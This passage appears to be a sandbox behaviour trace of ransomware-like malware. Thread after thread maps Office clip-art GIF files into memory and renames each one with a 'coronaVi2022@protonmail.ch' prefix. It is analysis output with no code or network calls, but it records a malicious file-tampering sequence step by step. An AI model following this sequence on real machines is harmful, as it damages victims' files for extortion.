	[0094.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0094.073] free (_Block=0x51f4090) 
	[0094.073] RtlExitUserThread (Status=0x0) 

Thread:
	id = 536
	os_tid = 0x18cc

	[0094.144] _alloca_probe () returned 0x40328a
	[0094.144] GetCurrentThreadId () returned 0x18cc
	[0094.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0094.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb14
	[0094.145] GetFileSizeEx (in: hFile=0xb14, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4001) returned 1
	[0094.145] CreateFileMappingA (hFile=0xb14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa1, lpName=0x0) returned 0xb18
	[0094.145] MapViewOfFile (hFileMappingObject=0xb18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.146] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.146] CloseHandle (hObject=0xb18) returned 1
	[0094.146] GetCurrentThreadId () returned 0x18cc
	[0094.146] FlushFileBuffers (hFile=0xb14) returned 1
	[0094.149] CloseHandle (hObject=0xb14) returned 1
	[0094.149] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 213
	[0094.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0094.150] free (_Block=0x51f3088) 
	[0094.150] RtlExitUserThread (Status=0x0) 

Thread:
	id = 537
	os_tid = 0x18d0

	[0094.152] _alloca_probe () returned 0x40328a
	[0094.153] GetCurrentThreadId () returned 0x18d0
	[0094.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0094.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb18
	[0094.153] GetFileSizeEx (in: hFile=0xb18, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3393) returned 1
	[0094.153] CreateFileMappingA (hFile=0xb18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd41, lpName=0x0) returned 0xb1c
	[0094.153] MapViewOfFile (hFileMappingObject=0xb1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.154] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.154] CloseHandle (hObject=0xb1c) returned 1
	[0094.154] GetCurrentThreadId () returned 0x18d0
	[0094.154] FlushFileBuffers (hFile=0xb18) returned 1
	[0094.159] CloseHandle (hObject=0xb18) returned 1
	[0094.159] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 213
	[0094.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0094.160] free (_Block=0x51f4090) 
	[0094.160] RtlExitUserThread (Status=0x0) 

Thread:
	id = 538
	os_tid = 0x18d4

	[0094.161] _alloca_probe () returned 0x40328a
	[0094.162] GetCurrentThreadId () returned 0x18d4
	[0094.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0094.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb1c
	[0094.162] GetFileSizeEx (in: hFile=0xb1c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0094.162] CreateFileMappingA (hFile=0xb1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0xb20
	[0094.162] MapViewOfFile (hFileMappingObject=0xb20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.163] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.164] CloseHandle (hObject=0xb20) returned 1
	[0094.164] GetCurrentThreadId () returned 0x18d4
	[0094.164] FlushFileBuffers (hFile=0xb1c) returned 1
	[0094.165] CloseHandle (hObject=0xb1c) returned 1
	[0094.166] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 213
	[0094.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0094.166] free (_Block=0x51f0070) 
	[0094.166] RtlExitUserThread (Status=0x0) 

Thread:
	id = 539
	os_tid = 0x18d8

	[0094.174] _alloca_probe () returned 0x40328a
	[0094.174] GetCurrentThreadId () returned 0x18d8
	[0094.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0094.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb20
	[0094.175] GetFileSizeEx (in: hFile=0xb20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13537) returned 1
	[0094.175] CreateFileMappingA (hFile=0xb20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e1, lpName=0x0) returned 0xb24
	[0094.175] MapViewOfFile (hFileMappingObject=0xb24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.178] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.179] CloseHandle (hObject=0xb24) returned 1
	[0094.179] GetCurrentThreadId () returned 0x18d8
	[0094.179] FlushFileBuffers (hFile=0xb20) returned 1
	[0094.180] CloseHandle (hObject=0xb20) returned 1
	[0094.181] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 213
	[0094.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0094.182] free (_Block=0x51f3088) 
	[0094.182] RtlExitUserThread (Status=0x0) 

Thread:
	id = 540
	os_tid = 0x18dc

	[0094.183] _alloca_probe () returned 0x40328a
	[0094.184] GetCurrentThreadId () returned 0x18dc
	[0094.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0094.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb24
	[0094.184] GetFileSizeEx (in: hFile=0xb24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20209) returned 1
	[0094.184] CreateFileMappingA (hFile=0xb24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0xb28
	[0094.184] MapViewOfFile (hFileMappingObject=0xb28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.188] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.189] CloseHandle (hObject=0xb28) returned 1
	[0094.189] GetCurrentThreadId () returned 0x18dc
	[0094.189] FlushFileBuffers (hFile=0xb24) returned 1
	[0094.193] CloseHandle (hObject=0xb24) returned 1
	[0094.194] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 213
	[0094.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0094.195] free (_Block=0x51f4090) 
	[0094.195] RtlExitUserThread (Status=0x0) 

Thread:
	id = 541
	os_tid = 0x18e0

	[0094.254] _alloca_probe () returned 0x40328a
	[0094.254] GetCurrentThreadId () returned 0x18e0
	[0094.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0094.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb28
	[0094.255] GetFileSizeEx (in: hFile=0xb28, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=20481) returned 1
	[0094.255] CreateFileMappingA (hFile=0xb28, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5001, lpName=0x0) returned 0xb2c
	[0094.255] MapViewOfFile (hFileMappingObject=0xb2c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0094.260] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0094.260] CloseHandle (hObject=0xb2c) returned 1
	[0094.260] GetCurrentThreadId () returned 0x18e0
	[0094.260] FlushFileBuffers (hFile=0xb28) returned 1
	[0094.262] CloseHandle (hObject=0xb28) returned 1
	[0094.262] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 213
	[0094.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0094.264] free (_Block=0x51f0070) 
	[0094.264] RtlExitUserThread (Status=0x0) 

Thread:
	id = 542
	os_tid = 0x18e4

	[0094.265] _alloca_probe () returned 0x40328a
	[0094.266] GetCurrentThreadId () returned 0x18e4
	[0094.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0094.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb2c
	[0094.266] GetFileSizeEx (in: hFile=0xb2c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15745) returned 1
	[0094.266] CreateFileMappingA (hFile=0xb2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0xb30
	[0094.266] MapViewOfFile (hFileMappingObject=0xb30, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.270] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.270] CloseHandle (hObject=0xb30) returned 1
	[0094.270] GetCurrentThreadId () returned 0x18e4
	[0094.270] FlushFileBuffers (hFile=0xb2c) returned 1
	[0094.272] CloseHandle (hObject=0xb2c) returned 1
	[0094.273] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 213
	[0094.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0094.273] free (_Block=0x51f60a0) 
	[0094.273] RtlExitUserThread (Status=0x0) 

Thread:
	id = 543
	os_tid = 0x18e8

	[0094.275] _alloca_probe () returned 0x40328a
	[0094.275] GetCurrentThreadId () returned 0x18e8
	[0094.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0094.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb30
	[0094.276] GetFileSizeEx (in: hFile=0xb30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0094.276] CreateFileMappingA (hFile=0xb30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0xb34
	[0094.276] MapViewOfFile (hFileMappingObject=0xb34, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.278] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.278] CloseHandle (hObject=0xb34) returned 1
	[0094.278] GetCurrentThreadId () returned 0x18e8
	[0094.278] FlushFileBuffers (hFile=0xb30) returned 1
	[0094.280] CloseHandle (hObject=0xb30) returned 1
	[0094.281] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 242
	[0094.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0094.281] free (_Block=0x51f0070) 
	[0094.281] RtlExitUserThread (Status=0x0) 

Thread:
	id = 544
	os_tid = 0x18ec

	[0094.283] _alloca_probe () returned 0x40328a
	[0094.284] GetCurrentThreadId () returned 0x18ec
	[0094.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0094.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb34
